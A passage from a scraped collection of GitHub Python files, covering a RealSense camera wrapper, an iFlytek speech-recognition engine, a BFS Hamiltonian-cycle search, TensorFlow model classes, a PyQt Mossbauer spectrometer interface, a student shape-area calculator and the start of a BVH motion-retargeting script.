not depth_frame or not color_frame:\r\n return False, None, None, None\r\n\r\n return True, rgb_image, depth_image, heatmap_image\r\n\r\n def release(self):\r\n \"\"\" Stop Camera \"\"\"\r\n self.pipeline.stop()\r\n\r\n\r\nclass TrackingCamera:\r\n def __init__(self, serial):\r\n # Configure depth and color streams\r\n self.pipeline = rs.pipeline()\r\n\r\n # Build config object and request pose data\r\n config = rs.config()\r\n config.enable_device(serial)\r\n config.enable_stream(rs.stream.pose)\r\n\r\n # Start streaming\r\n self.pipeline.start(config)\r\n\r\n def get_position(self):\r\n # Wait for the next set of frames from the camera\r\n frames = self.pipeline.wait_for_frames()\r\n\r\n # Fetch pose frame\r\n pose = frames.get_pose_frame()\r\n\r\n if pose:\r\n data = pose.get_pose_data()\r\n return data.translation, data.velocity, data.acceleration\r\n else:\r\n return None, None, None\r\n\r\n def release(self):\r\n \"\"\" Stop Camera \"\"\"\r\n self.pipeline.stop()\r\n","repo_name":"OwenSoh98/FYP","sub_path":"realsense/Camera.py","file_name":"Camera.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73917448163","text":"#coding:utf-8\nfrom ctypes import *\nimport logging\nimport os\nimport wave\nimport random\nimport sys\nimport time\nimport json\n\nfrom robot import configuration\nfrom robot.utils import diagnose\nfrom robot.configuration import cmInstance\nfrom robot.configuration.const import const\nfrom robot.stt import AbstractSTTEngine\n\n\nclass IflytekSTT(AbstractSTTEngine):\n \"\"\"\n 科大讯飞\n http://www.xfyun.cn/\n iflytek:\n ostype: x64 # x64, x86, pi 分别和iflytek_msc libs下的文件名对应\n accounts:\n - appid : \"appid1\" # /iflytek_msc/appid1/libs/$ostype/libmsc.so\n - appid : \"appid2\" # /iflytek_msc/appid2/libs/$ostype/libmsc.so\n accent: mandarin # mandarin:普通话; cantonese:粤语\n voice_name: yanping # yanping 女;yufeng 男;babyxu 童声;xiaomeng 女;xiaolin 台湾女;\n xiaoqian 东北女;xiaorong 四川女;xiaokun 河南男;xiaoqiang 湖南男;xiaomei 粤语女;dalong 粤语男;catherine 美式纯英女;john 美式纯英男\n \"\"\"\n \n SLUG = \"iflytek-stt\"\n \n def __init__(self, appid,ostype,accent):\n self._logger = logging.getLogger(__name__)\n self.appid = appid\n sofile = configuration.config(\"iflytek_msc\",appid,\"libs\",ostype,\"libmsc.so\")\n self._logger.debug(\"Loading iflytec msc libaray file: %s\" % sofile)\n self.sdk = cdll.LoadLibrary(sofile) #sr: speech recognition\n self.login_params = \"appid = %s, work_dir = .\" % appid\n \n new_session_begin_params = \"sch=1,nlp_version=3.0,scene=main,\"\n# if ostype == 'pi':\n# new_session_begin_params = \"\"\n self.session_begin_params = new_session_begin_params + \"sub=iat,aue=speex-wb;7,result_type=plain,result_encoding=utf8,\" \\\n \"language=zh_cn,accent=\" + accent + \",sample_rate=%s,domain=iat\"\n self.grammar_id = None #当需要连续语音识别时,设为None\n\n \n @classmethod\n def get_config(cls):\n config = {}\n profile = cmInstance.getConfig('voice_engines')\n if 'iflytek' in profile:\n if 'ostype' in profile.iflytek:\n config['ostype'] = profile.iflytek.ostype\n else:\n config['ostype'] = \"x64\"\n if 'accounts' in profile.iflytek:\n account = random.choice(profile.iflytek.accounts)\n config['appid'] = account.appid\n if 'accent' in profile.iflytek:\n config['accent'] = profile.iflytek.accent\n else:\n config['accent'] = \"mandarin\"\n return config\n \n def login(self):\n ret = self.sdk.MSPLogin(None, None, self.login_params)\n if const.MSP_SUCCESS != ret:\n self._logger.error(\"MSPLogin failedm Error code %d.\\n\"%ret)\n self._logger.debug('MSPLogin => %s'% ret)\n \n def stt(self, audiofile, session_begin_params, grammar_id):\n try:\n wav_file = wave.open(audiofile, 'rb')\n except IOError:\n self._logger.critical('wav file not found: %s',\n audiofile,\n exc_info=True)\n \n frame_rate = wav_file.getframerate()\n session_begin_params = session_begin_params % frame_rate\n self._logger.debug(\"QISRSessionBegin parameters: %s\" % session_begin_params)\n \n data = ''\n ret = c_int()\n sessionID = self.sdk.QISRSessionBegin(grammar_id, session_begin_params, byref(ret))\n self._logger.debug('QISRSessionBegin => sessionID: %s ret: %s'% (sessionID, ret.value))\n\n epStatus = c_int(0)\n recogStatus = c_int(0)\n times = 0\n while True:\n wavData = wav_file.readframes(const.CHUNK)\n if len(wavData) == 0:\n break\n \n aud_stat = const.MSP_AUDIO_SAMPLE_CONTINUE\n if times == 0:\n aud_stat = const.MSP_AUDIO_SAMPLE_FIRST\n \n ret = self.sdk.QISRAudioWrite(sessionID, wavData, len(wavData), aud_stat, byref(epStatus), byref(recogStatus))\n self._logger.debug('len(wavData): %s QISRAudioWrite ret: %s epStatus: %s recogStatus: %s' % (len(wavData), ret, epStatus, recogStatus))\n time.sleep(0.02)\n times += 1\n\n if epStatus.value == const.MSP_EP_AFTER_SPEECH:\n break\n\n ret = self.sdk.QISRAudioWrite(sessionID, None, 0, const.MSP_AUDIO_SAMPLE_LAST, byref(epStatus), byref(recogStatus))\n if const.MSP_SUCCESS != ret:\n self._logger.error(\"QISRAudioWrite failed! error code:%d\"%ret)\n return data\n self._logger.debug('QISRAudioWrite ret: %s epStatus: %s recogStatus: %s' % (ret, epStatus, recogStatus))\n\n #获取音频\n while recogStatus.value != const.MSP_REC_STATUS_COMPLETE:\n ret = c_int()\n self.sdk.QISRGetResult.restype = c_char_p\n retstr = self.sdk.QISRGetResult(sessionID, byref(recogStatus), 0, byref(ret))\n if retstr is not None:\n data += retstr\n self._logger.debug('ret: %s recogStatus: %s'% (ret, recogStatus))\n time.sleep(0.2)\n\n return data\n\n def logout(self):\n ret = self.sdk.MSPLogout()\n if const.MSP_SUCCESS != ret:\n self._logger.error(\"MSPLogout failed Error code %d.\\n\"%ret)\n else:\n self._logger.debug(\"MSPLogout SUCCESS=> %s\"% ret)\n \n def transcribe(self, fp):\n text = None\n try:\n self.login()\n data = self.stt(fp, self.session_begin_params, self.grammar_id)\n if data.strip() != '':\n try: \n data = json.loads(data)\n text = data[\"text\"]\n except ValueError: \n self._logger.debug('Get the original string response')\n text = data\n except KeyError:\n self._logger.critical('Cannot parse response.',exc_info=True)\n return None\n else:\n transcribed = None\n if text:\n transcribed = text.upper()\n self._logger.info(u'Transcribed: %s' % text)\n self.logout()\n return transcribed\n \n \n @classmethod\n def is_available(cls):\n return diagnose.check_network_connection()\n \n","repo_name":"bluecatr/voicerobot-python","sub_path":"robot/stt/IflytekSTT.py","file_name":"IflytekSTT.py","file_ext":"py","file_size_in_byte":6375,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"74152882722","text":"#coding=utf8\n\nimport Queue\nimport copy\nfrom state import StateMemoryLess as State\n## 当图的连通度很高(边密集)、节点很大时,BFS需要指数递增的内存消耗!\n## 经过本机测试,当将边生产的概率阈值设为0.5 , 且节点数为16时,电脑出现卡死、黑屏现象,硬盘狂转,打开任务管理器,\n## 出现巨大的内存消耗, 8G内存下此程序最多消耗2G , 当内存达到99%时,磁盘访问达到100% (应该是在内存转储),IO操作导致\n## 机器卡死。然而整个过程CPU消耗都是稳定且不高的。测试了大概半个小时,没有任何结果输出,由于还有代码要写,就关闭了程序。\n## 为了防止上述现象出现,在节点数不可变情况下,减小图的连通度,即正大边生成的权值,可以减少可扩展节点的个数。\n## \n## 所以为了该程序在PC上运行,需要增大边生成的概率,即config.py中GENERATE_EDGE_PROBABILITY_THRESHOLD值\n## 设为0.8时时间尚可,哈密顿环形成概率也可。\n##\ndef find_hamiltonian_in_bfs(vertex , adj_matrix , timer) :\n adj_matrix = copy.copy(adj_matrix) # copy , to avoid change the origin data\n queue = Queue.Queue()\n vertex_num = len(vertex)\n # Build Root State\n # just using convex idx 0 for the root \n root_vertex_id = 0\n previous_vertex_id = -1 \n visited_state = [False] * vertex_num\n path = [ ]\n root = State(root_vertex_id , previous_vertex_id , visited_state , path)\n queue.put(root)\n while not queue.empty() :\n # visit queue head\n cur_node = queue.get()\n cur_node.set_visited()\n cur_node.add_path(cur_node.get_vertex_id())\n ## ready to extend the childs !\n extendable_convex_id_list = cur_node.get_extendable_vertex_id(adj_matrix)\n # check whether extendable\n if len(extendable_convex_id_list) == 0 :\n if cur_node.has_hamiltonian(root_vertex_id,adj_matrix) :\n path = cur_node.get_path()\n return path + path[:1] \n else :\n continue # no node to be extended ! \n # extend child\n cur_visited_state = cur_node.get_visited_state()\n previous_vertex_id = cur_node.get_vertex_id()\n previous_path = cur_node.get_path()\n for extend_convex_id in extendable_convex_id_list :\n extend_state = State(extend_convex_id ,previous_vertex_id , \n copy.copy(cur_visited_state) , copy.copy(previous_path)) \n queue.put(extend_state)\n return None","repo_name":"fseasy/AlgorithmAnalysisAndDesignExperiment","sub_path":"hamiltonian/bfs.py","file_name":"bfs.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"23248095119","text":"import tensorflow as tf\n\n# constant parameters\nimage_shape = (64,64,1)\n\n# convolution\nunits = 32\nkernel_size = (3,3)\nactivation_conv = 'relu'\n\n# compile parameters\nloss = 'categorical_crossentropy'\noptimizer = tf.keras.optimizers.Adam(learning_rate=0.01)\nmetrics = ['accuracy']\n\n\nclass ConvModel(tf.keras.Model):\n\n # initializer method\n def __init__(self):\n \n # super init\n super().__init__()\n \n\n def __call__(self, conv_architecture: dict, pool_architecture: dict, output_units: int=4):\n\n # make model as sequential\n self.model = tf.keras.Sequential()\n\n # add convolutional layer\n for keys_conv, keys_pooling in zip(conv_architecture, pool_architecture):\n\n conv_layer = conv_architecture[keys_conv]['layer']\n conv_params = conv_architecture[keys_conv]['params']\n\n pool_layer = pool_architecture[keys_pooling]['layer']\n pool_params = pool_architecture[keys_pooling]['params']\n\n self.model.add(conv_layer(**conv_params))\n self.model.add(pool_layer(**pool_params))\n\n # add flat layer\n self.model.add(tf.keras.layers.Flatten())\n\n # add Dense layer\n self.model.add(tf.keras.layers.Dense(units=256, activation='relu'))\n self.model.add(tf.keras.layers.Dense(units=output_units, activation='softmax'))\n\n # compile method\n def compile(self, optimizer: object, metrics: list, loss=\"categorical_crossentropy\"):\n self.model.compile(optimizer = optimizer, loss = loss, metrics = metrics)\n\n\nclass TransferModel(ConvModel):\n\n # initializer method\n def __init__(self):\n \n # super init\n super().__init__()\n\n\n # call method \n def __call__(self, transfer_model: object, last_layer: str, \\\n non_trainable:bool=True, output_units:int=4):\n \n # create attribute\n self.transfer_model=transfer_model\n\n # make layers non trainable\n if non_trainable:\n for layer in self.transfer_model.layers:\n layer.trainable=False\n\n # get the output layer\n pre_trained_output_layer = self.output_of_last_layer(layer=last_layer)\n\n # create model\n self.create_model(pre_trained_output_layer=pre_trained_output_layer, \\\n output_units=output_units)\n\n\n def output_of_last_layer(self, layer: str):\n \"\"\"\n Gets the last layer output of a model\n \n Args:\n pre_trained_model (tf.keras Model): model to get the last layer output from\n \n Returns:\n last_output: output of the model's last layer \n \"\"\"\n\n last_desired_layer = self.transfer_model.get_layer(layer)\n pre_trained_output_layer = last_desired_layer.output\n\n return pre_trained_output_layer\n \n\n def create_model(self, pre_trained_output_layer: tf.keras.layers, output_units:int=4):\n \n # Flatten the output layer to 1 dimension\n x = tf.keras.layers.Flatten()(pre_trained_output_layer)\n\n # add one dense layer\n x = tf.keras.layers.Dense(units=128, activation='relu')(x)\n\n # add output layer\n x = tf.keras.layers.Dense(units=output_units, activation='softmax')(x)\n\n # create the complete model by using the Model class\n self.model = tf.keras.Model(inputs=self.transfer_model.input, outputs=x)\n\n\n# Define a Callback class that stops training once accuracy reaches 99.9%\nclass MyCallback(tf.keras.callbacks.Callback):\n\n def on_epoch_end(self, epoch, logs={}):\n\n if(logs.get('accuracy')>0.999):\n print(\"\\nReached 99.9% accuracy so cancelling training!\")\n self.model.stop_training = True","repo_name":"duartesilvafm/facemask_recog","sub_path":"code/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41138833067","text":"\"\"\"Program made by Edison Giraldo Aristizabal\r\nUniversity of Antioquia, Medellin, Colombia\r\nAugust 2019\"\"\"\r\n\r\nfrom PyQt5.uic import loadUiType #library to import graphical interface\r\nfrom matplotlib.figure import Figure \r\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\r\nfrom matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar #for graph interaction tools\r\n\r\n#Uncomment here if you want to use a web page\r\n\"\"\"import firebase_admin #for communication with the web page server\r\nfrom firebase_admin import credentials\r\nfrom firebase_admin import db \"\"\"\r\n\r\nimport numpy as np\r\nfrom serial import Serial\r\nimport time\r\nimport os\r\nfrom puertos import * #to search for available serial ports\r\n\r\ndirectorio = \"EspectrosMossbauerChipkit\\\\\" #The spectra obtained will be saved in this directory\r\ntry:\r\n os.stat(directorio)\r\nexcept:\r\n os.mkdir(directorio)\r\n\r\nencoding = 'ascii'\r\navailablePorts = serial_ports()#list of available ports\r\nUi_MainWindow, QMainWindow = loadUiType('interfazsiu.ui') # interfazsiu.iu is the name of the document generated by QT Designer of the graphical user interface\r\n\r\n#Uncomment here if you want to use a web page\r\n\"\"\"cred = credentials.Certificate('xxxx.json') #insert your credential here\r\nfirebase_admin.initialize_app(cred, {'databaseURL': \"https://example.com\"}) #insert administrator here\r\nroot=db.reference()\"\"\"\r\n\r\nclass Main(QMainWindow, Ui_MainWindow):\r\n\tdef __init__(self, ):\r\n\t\tsuper(Main, self).__init__()\r\n\t\tself.setupUi(self)\r\n\t\t\r\n\t\t#channels is the name of an object of the graphic interface\r\n\t\tself.channels.setCurrentIndex(2)#set the channels drop-down initially to 512\r\n\t\tself.currentChannel = self.channels.currentText() #the number of channels is defined as defined in the interface\r\n\t\tself.channels.currentIndexChanged.connect(self.channelChanged) #if the channel is changed\r\n\t\tself.startchannels = int(self.channels.currentText()) #stores the number of channels with which the communication began\r\n\t\t\r\n\t\t#serialport is the name of an object of the graphic interface\r\n\t\tself.currentPort = self.serialport.currentText() \r\n\t\tself.serialport.currentIndexChanged.connect(self.serialPortChanged)\r\n\t\t\r\n\t\t#start is the name of an object of the graphic interface\r\n\t\tself.start.setCheckable(True) #checkable button\r\n\t\tself.start.clicked.connect(self.buttonClicked)\r\n\t\tself.start.setStyleSheet(\"background-color: rgb(35,255,0)\")\r\n\t\t\r\n\t\t#changerange is the name of an object of the graphic interface\r\n\t\tself.changerange.setCheckable(True)\r\n\t\tself.changerange.clicked.connect(self.buttonRangeClicked)\r\n\t\tself.changerange.setText(\"Actualizando\")\r\n\t\tself.changerange.setStyleSheet(\"background-color: rgb(35,255,0)\")\r\n\t\tself.updaterange = True\r\n\t\t\r\n\t\tself.timer = QtCore.QTimer(self) #create a timer that generates events for this interface\r\n\t\tself.timer.setSingleShot(False) #the event will be displayed several times\r\n\t\tself.timer.timeout.connect(self.timerEvent) #Function executed in each event\r\n\t\t\r\n\t\tself.arduino = Serial(availablePorts[0], 115200,timeout=0)\r\n\t\tself.arduino.flushInput() #clean the buffer\r\n\t\tself.arduino.close() #close the port\r\n\t\t\r\n\t\tself.directory = \"EspectrosMossbauerChipkit\\\\\"+ self.file.toPlainText()+\".txt\" #directory in which the spectrum is saved\r\n\t\tself.new_directory = \"EspectrosMossbauerChipkit\\\\\"+self.file.toPlainText()+\".txt\" #directory in which the following spectrum will be saved\r\n\t\tself.file.textChanged.connect(self.changeFile)\r\n\t\tself.file.setStyleSheet(\"background-color: rgb(255,27,0);\")\r\n\t\t\r\n\t\tself.dataText = open(self.directory,\"w\") \r\n\t\tself.dataText.close()#close the file so you can delete it\r\n\t\tos.remove(self.directory) #delete the unwanted file created on the previous line\r\n\t\t\r\n\t\tself.fig = Figure()\r\n\t\tself.ax1f1 = self.fig.add_subplot(111, xmargin = 0.0)\r\n\t\tself.ax1f1.set_xlim(xmin=0, xmax=self.startchannels)\r\n\t\tself.ax1f1.grid(True)\r\n\t\tself.canvas = FigureCanvas(self.fig)\r\n\t\tself.mplwidgethorizontalLayout.addWidget(self.canvas) \r\n\t\tself.canvas.draw()\r\n\t\tself.toolbar = NavigationToolbar(self.canvas, self.navtool, coordinates = True)\r\n\t\tself.toolbar.setOrientation(QtCore.Qt.Vertical)\r\n\t\tself.navtoolhorizontalLayout.addWidget(self.toolbar)\r\n\t\t\r\n\tdef channelChanged(self, i):\r\n\t\tself.currentChannel = self.channels.currentText() \r\n\t\r\n\tdef serialPortChanged(self, i):\r\n\t\tself.currentPort = self.serialport.currentText()\r\n\t\r\n\tdef buttonClicked(self):\r\n\t\tif self.start.isChecked():\r\n\t\t\tself.start.setStyleSheet(\"background-color: rgb(255,27,0)\")\r\n\t\t\tself.start.setText(\"Finalizar\")\r\n\t\t\tself.directory = \"EspectrosMossbauerChipkit\\\\\"+self.file.toPlainText()+\".txt\" #Take the initial value of the directory\r\n\t\t\tself.startchannels = int(self.currentChannel) #stores the number of initial channels in case they change it\r\n\t\t\tself.arduino = Serial(self.currentPort, 115200,timeout=0)\r\n\t\t\ttime.sleep(5) #wait 5 seconds for the communication with the chipkit to begin\r\n\t\t\tself.arduino.flushInput() #clean the buffer\r\n\t\t\tdate ='C'+self.currentChannel\r\n\t\t\tself.arduino.write(str.encode(date)) #send the number of channels\r\n\t\t\tself.timer.start(10000) #time in milliseconds between events. Activate the timer\r\n\t\t\t\r\n\t\telse:\r\n\t\t\tif (self.directory == self.new_directory):\r\n\t\t\t\tself.file.setPlainText(\"Cambie el directorio\")\r\n\t\t\t\tself.file.setStyleSheet(\"background-color: rgb(255,27, 0)\")\r\n\t\t\tself.start.setStyleSheet(\"background-color: rgb(35,255,0)\")\r\n\t\t\tself.start.setText(\"Inicio\")\r\n\t\t\tself.arduino.write(str.encode('F')) #envia a arduino el la letra de finalizacion\r\n\t\t\ttime.sleep(2)\r\n\t\t\tself.arduino.flushInput() #clean the buffer\r\n\t\t\tself.arduino.close() #close the port\r\n\t\t\tself.timer.stop()\r\n\t\r\n\tdef buttonRangeClicked(self):\r\n\t\tself.updaterange = not self.updaterange\r\n\t\tif self.changerange.isChecked():\r\n\t\t\tself.changerange.setText(\"Esperando...\")\r\n\t\t\tself.changerange.setStyleSheet(\"background-color: rgb(255,27,0)\")\r\n\t\telse:\r\n\t\t\tself.changerange.setText(\"Actualizando\")\r\n\t\t\tself.changerange.setStyleSheet(\"background-color: rgb(35,255,0)\")\r\n\t\r\n\tdef addfig(self,points):\r\n\t\tif self.updaterange:\r\n\t\t\tself.ax1f1.cla()\r\n\t\t\tself.ax1f1.plot(points, color=\"black\", linewidth=1.0, linestyle=\"-\", scaley = 1)\r\n\t\t\tself.ax1f1.set_ylim(ymin=min(points)-10, ymax=max(points)+10)\r\n\t\t\tself.ax1f1.set_xlim(xmin=0, xmax=self.startchannels)\r\n\t\t\tself.ax1f1.grid(True)\r\n\t\t\r\n\t\tself.canvas.draw()\r\n\t\r\n\tdef timerEvent(self):\r\n\t\ttry:\r\n\t\t\tif(self.arduino.inWaiting() > 0):\r\n\t\t\t\tx=self.arduino.readline()\r\n\t\t\t\tarduinoData=(x.decode(encoding).split(','))[:-1]\r\n\t\t\t\ti = 0\r\n\t\t\t\tfor element in arduinoData:\r\n\t\t\t\t\tarduinoData[i] = int(element)\r\n\t\t\t\t\ti += 1\r\n\r\n\t\t\t\tif(len(arduinoData) == self.startchannels):\r\n\t\t\t\t#Uncomment here if you want to use a web page\r\n\t\t\t\t\t\"\"\"\r\n\t\t\t\t\ta=str(arduinoData).strip('[]')+str(\",\")\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\tnew_user = root.child('examplename').set({'datos' : a}) #insert the name of the variable that is associated to the spectrum in the web page\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\tpass\"\"\"\r\n\t\t\t\t\tself.addfig(arduinoData)\r\n\t\t\t\t\tself.dataText = open(self.directory,\"w\") #Open directory where data will be saved\r\n\t\t\t\t\tfor number in arduinoData[:-1]:\r\n\t\t\t\t\t\tself.dataText.write(str(number)+'\\n')\r\n\t\t\t\t\tself.dataText.write(str(arduinoData[-1]))\r\n\t\t\t\t\tself.dataText.close()\r\n\t\t\t\telif (len(arduinoData) > self.startchannels):\r\n\t\t\t\t\ttime.sleep(1)\r\n\t\t\t\t\tself.arduino.flushInput() #clean the buffer\r\n\t\texcept:\r\n\t\t\tpass\r\n\t\t\r\n\tdef changeFile(self):\r\n\t\tself.new_directory = self.file.toPlainText()+\".txt\"\r\n\t\tif(len(self.new_directory) > 4):\r\n\t\t\tself.file.setStyleSheet(\"background-color: rgb(35,255,0);\")\r\n\t\r\nif __name__ == '__main__':\r\n\timport sys\r\n\tfrom PyQt5 import QtGui, QtWidgets, QtCore\r\n\t\r\n\tapp = QtWidgets.QApplication(sys.argv)\r\n\tmain = Main()\r\n\tmain.ax1f1.plot(np.zeros(512), color=\"black\", linewidth=1.0, linestyle=\"-\")\r\n\tfor port in availablePorts:\r\n\t\tmain.serialport.addItem(port)\r\n\tmain.show()\r\n\tsys.exit(app.exec_())\r\n","repo_name":"Edigi-12/MCAMossbauer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18754068071","text":"'''\r\nArjun Atwal\r\nMr. Park\r\nPython OOP Assessment\r\n\r\nThis program automates simple calculations, in this case calculating area and perimeter of different shapes\r\nUser inputs side measurements and shape specification, and the code outputs the area and perimeter\r\n'''\r\n#WHY DOES RETURN MAKE IT NOT WORK, ALWAYS OUTPUTS ...see below for what happens after substituting return for print function. edit : solved, I just want to make a note that it took a solid 2 hours of constant tempter tantrums \r\n\r\nclass Triangle: #code for triangle\r\n def __init__(self, base, height, side1, side2): #2 inputs, base and height\r\n self.__base = int(base)\r\n self.__height = int(height)\r\n self.side1 = int(side1)\r\n self.side2 = int(side2)\r\n self.perim_triangle = 0\r\n self.area_triangle = 0\r\n\r\n def calc_triangle(self): #calculates area and perimeter\r\n self.area_triangle = self.__base*self.__height//2 #//2 keeps it as int isntead of float. if float, code has a seizure\r\n self.perim_triangle = self.__base+self.side1+self.side2\r\n\r\n def __str__(self): \r\n return f'Area of the triangle is {self.area_triangle}, perimeter of the triangle is {self.perim_triangle}' #returns area and perimeter as the values to the class (base override)\r\n\r\n def __repr__(self):\r\n return f'Area of the triangle is {self.area_triangle}, perimeter of the triangle is {self.perim_triangle}' #used for debugging, less user friendly. therefore it is not called (base override)\r\n\r\nclass Rectangle: #code for rectangles, squares, parallelograms and other shapes with the same area and perimiter formula\r\n def __init__(self, side1, side2): #2 inputs for side lengths\r\n self.__side1 = int(side1)\r\n self.__side2 = int(side2)\r\n self.area_rectangle = 0\r\n self.perim_rectangle = 0\r\n\r\n def calc_rectangle(self): #calculates area and perimeter\r\n self.area_rectangle = self.__side1*self.__side2\r\n self.perim_rectangle = self.__side1+self.__side1+self.__side2+self.__side2\r\n\r\n def __str__(self): \r\n return f'Area of the shape is {self.area_rectangle}, perimeter of the shape is {self.perim_rectangle}' #returns area and permimeter as the values to the class\r\n\r\n def __repr__(self):\r\n return f'Area of the shape is {self.area_rectangle}, perimeter of the shape is {self.perim_rectangle}' #used for debugging, less user friendly. therefore it is not called\r\n\r\nclass Circle: #code for circle\r\n def __init__(self, radius): #only need radius\r\n self.__radius = int(radius)\r\n self.area_circle = 0\r\n self.circ_circle = 0\r\n\r\n def calc_circle(self): #calculates area and perimeter\r\n self.area_circle = self.__radius*self.__radius*3.14 #sub pi for 3.14, less accurate but easier to work with and close enough that margin for error is excusable\r\n self.circ_circle = self.__radius*6.28\r\n\r\n def __str__(self): \r\n return f'Area of the circle is {self.area_circle}, circumfrence of the circle is {self.circ_circle}' #returns area and perimeter as the values to the class\r\n\r\n def __repr__(self):\r\n return f'Area of the circle is {self.area_circle}, circumfrence of the circle is {self.circ_circle}' #used for debugging, less user friendly. therefore it is not called\r\n\r\nclass Trapezoid:\r\n def __init__(self, base1, base2, height, side1, side2): #a lot of inputs are needed since only some of the values can be used for both area and perimeter\r\n self.__base1 = int(base1)\r\n self.__base2 = int(base2)\r\n self.__height = int(height) #height and base are used for area\r\n self.__side1 = int(side1)\r\n self.__side2 = int(side2)\r\n self.area_trapezoid = 0\r\n self.perim_trapezoid = 0 #side and base are used for perimeter\r\n\r\n def calc_trapezoid(self): #calculates area and perimeter\r\n self.__base_total = self.__base1+self.__base2\r\n self.__side_total = self.__side1+self.__side2\r\n self.area_trapezoid = self.__base_total*self.__height//2\r\n self.perim_trapezoid = self.__base_total+self.__side_total\r\n\r\n def __str__(self): \r\n return f'Area of the trapezoid is {self.area_trapezoid}, perimeter of the trapezoid is {self.perim_trapezoid}' #returns area and perimeter as the values to the class\r\n\r\n def __repr__(self):\r\n return f'Area of the trapezoid is {self.area_trapezoid}, perimeter of the trapezoid is {self.perim_trapezoid}' #used for debugging, less user friendly. therefore it is not called\r\n\r\nshape = input('input a shape (rectangle, square, parallelogram, trapezoid, triangle, circle) : ') #determines which class is called \r\n\r\nif shape == 'triangle':\r\n user_input1 = input('input a base : ') #asks for values\r\n user_input2 = input('input a height : ')\r\n user_input3 = input('input a side length : ') \r\n user_input4 = input('input another side length : ') \r\n p1 = Triangle(user_input1, user_input2, user_input3, user_input4) #sets p1 = class, using the values given as the attributes\r\n p1.calc_triangle() #runs the calculation function within the class\r\n print(p1) #calls the returned value, prints it\r\n\r\nif shape == 'trapezoid': #same code as above, but for trapezoids and its related class and functions\r\n user_input1 = input('input a base : ') \r\n user_input2 = input('input another base : ')\r\n user_input3 = input('input a height : ')\r\n user_input4 = input('input a side length : ')\r\n user_input5 = input('input another side length : ')\r\n p1 = Trapezoid(user_input1, user_input2, user_input3, user_input4, user_input5) \r\n p1.calc_trapezoid() \r\n print(p1)\r\n\r\nif shape == 'circle': #same code as above, but for circles and its related class and functions\r\n user_input1 = input('input a radius : ') \r\n p1 = Circle(user_input1) \r\n p1.calc_circle()\r\n print(p1) \r\n\r\nif shape in ('square', 'rectangle', 'parallelogram'): #same code as above, but for squares, rectangles and paralellograms and their related class anf functions\r\n user_input1 = input('input a side length : ') \r\n user_input2 = input('input another side length : ') \r\n p1 = Rectangle(user_input1, user_input2) \r\n p1.calc_rectangle() \r\n print(p1) ","repo_name":"JustaShadow2/python-practice","sub_path":"349737197_try2.py","file_name":"349737197_try2.py","file_ext":"py","file_size_in_byte":9610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25937955237","text":"#Obtener la suma de pares e impares de los primeros N números enteros positivos.\n\nnum = int(input(\"Digite un numero: \"))\n\nnum += 1\npar = 0\nimpar = 0\nfor i in range(1,num):\n if i % 2 == 0:\n par = i + par\n else:\n impar = i + impar\nprint(par)\nprint(impar)\n\n","repo_name":"Ang3lRamos/Python324","sub_path":"for_loop/Tarea1.py","file_name":"Tarea1.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"35362367487","text":"import time\nimport numpy as np\nimport numpy.core.umath_tests as ut\nfrom utils import BVH, Animation\nfrom utils import pose3d\n\nimport pybullet\nimport pybullet_data as pd\nfrom pybullet_utils import transformations\n\nimport config.bvh_cfg.bvh_cmu_config as bvh_cfg\nimport config.robot_cfg.khr_retarget_config_cmu as khr_cfg\n\n\n# JOINT_NAMES = ['HIP_VIRTUAL_JOINT', 'SPINE_VIRTUAL_JOINT', 'TORSO_VIRTUAL_JOINT', 'HEAD_JOINT0', 'LARM_JOINT0', 'LARM_JOINT1', 'LARM_JOINT2', 'LHAND_VIRTUAL_JOINT', 'RARM_JOINT0', 'RARM_JOINT1',\n# 'RARM_JOINT2', 'RHAND_VIRTUAL_JOINT', 'LLEG_JOINT0', 'LLEG_JOINT1', 'LLEG_JOINT2', 'LLEG_JOINT3', 'LLEG_JOINT4', 'RLEG_JOINT0', 'RLEG_JOINT1', 'RLEG_JOINT2', 'RLEG_JOINT3', 'RLEG_JOINT4']\n# JOINT_NAMES = ['HIP_VIRTUAL_JOINT', 'SPINE_VIRTUAL_JOINT', 'TORSO_VIRTUAL_JOINT', 'HEAD_JOINT0', 'LARM_JOINT0', 'LARM_JOINT1', 'LARM_JOINT2', 'LHAND_VIRTUAL_JOINT', 'LARM_VIRTUAL_JOINT2', 'LARM_VIRTUAL_JOINT1', 'RARM_JOINT0', 'RARM_JOINT1',\n# 'RARM_JOINT2', 'RHAND_VIRTUAL_JOINT', 'RARM_VIRTUAL_JOINT2', 'RARM_VIRTUAL_JOINT1', 'LLEG_JOINT0', 'LLEG_JOINT1', 'LLEG_JOINT2', 'LLEG_JOINT3', 'LLEG_JOINT4', 'RLEG_JOINT0', 'RLEG_JOINT1', 'RLEG_JOINT2', 'RLEG_JOINT3', 'RLEG_JOINT4']\nJOINT_NAMES = ['HIP_VIRTUAL_JOINT', 'SPINE_VIRTUAL_JOINT', 'TORSO_VIRTUAL_JOINT', 'HEAD_JOINT0', 'LARM_JOINT0', 'LARM_JOINT1', 'LARM_JOINT2', 'LHAND_VIRTUAL_JOINT', 'LARM_VIRTUAL_JOINT2', 'LARM_VIRTUAL_JOINT1', 'RARM_JOINT0', 'RARM_JOINT1', 'RARM_JOINT2', 'RHAND_VIRTUAL_JOINT', 'RARM_VIRTUAL_JOINT2',\n 'RARM_VIRTUAL_JOINT1', 'LLEG_JOINT0', 'LLEG_JOINT1', 'LLEG_JOINT2', 'LLEG_JOINT3', 'LLEG_JOINT4', 